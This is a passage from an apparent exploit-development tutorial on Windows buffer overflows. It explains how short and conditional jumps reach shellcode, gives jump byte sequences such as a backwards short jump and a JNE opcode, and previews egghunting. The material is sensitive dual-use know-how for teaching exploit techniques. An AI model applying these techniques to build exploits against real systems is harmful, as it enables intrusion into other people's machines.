print "Buffer size: " . length($buffer) . "\n";

Although there’s not real practical purpose for it here, I’ll demonstrate the backwards short jump by replacing $jmp2 with “\x90\x90\x90\x90\x90\x90\xeb\xea” to represent a backwards short jump of effective length 20 (technically 22 counting the 2 bytes lost by jumping over itself). Doing so should land us 20 bytes back in our INT instructions.

win_exploit_3_53

It works. Again no real practical purpose for this particular exploit, but these examples should illustrate the possibilities of short jumps in case you find yourself in a situation where an exploit calls for them. Conditional jumps are just near/short jumps that are taken if certain conditions are met, dictated by the status of the corresponding flags (recall the EFLAGS register from Part 1). For example, a “jump if equal” (JE) or “jump if zero” (JZ) is taken if the zero flag is set to 1. Conversely, a “jump if not equal” (JNE) or “jump if not zero” (JNZ) is taken if the zero flag is set to 0. The syntax is similar to a regular short jump, just using a different opcode. The opcode for a JNE is 75 so the instruction to jump forward 20 bytes is \x75\x14. I won’t give another demo of the conditional jump since the concept is exactly the same as the previous short jump examples. Just keep them in mind because you may be faced with a situation where an unconditional, standard short jump can’t be used and you must therefore turn to a conditional jump. Though it covers topics I haven’t yet gotten to in this exploit development series, if you want a real-world example of why you might need to use a conditional jump when constructing an exploit, check out this page. Here’s a good reference on the available conditional jumps and their corresponding opcodes and status flags: http://www.unixwiz.net/techtips/x86-jumps.html.

Conclusion

I hope this installment in the Windows Exploit series clearly illustrated some of the ways in which you can reach your shellcode using various jump techniques including manipulating the contents of the registers and stack as well as using unconditional or conditional jumps. Keep in mind this is not an exhaustive list of possibilities and you may find yourself using various combinations of any of these jump techniques when building an exploit. In Part 5 we’re going to cover one more technique of finding shellcode called Egghunting.


Related Posts:

12 Comments add one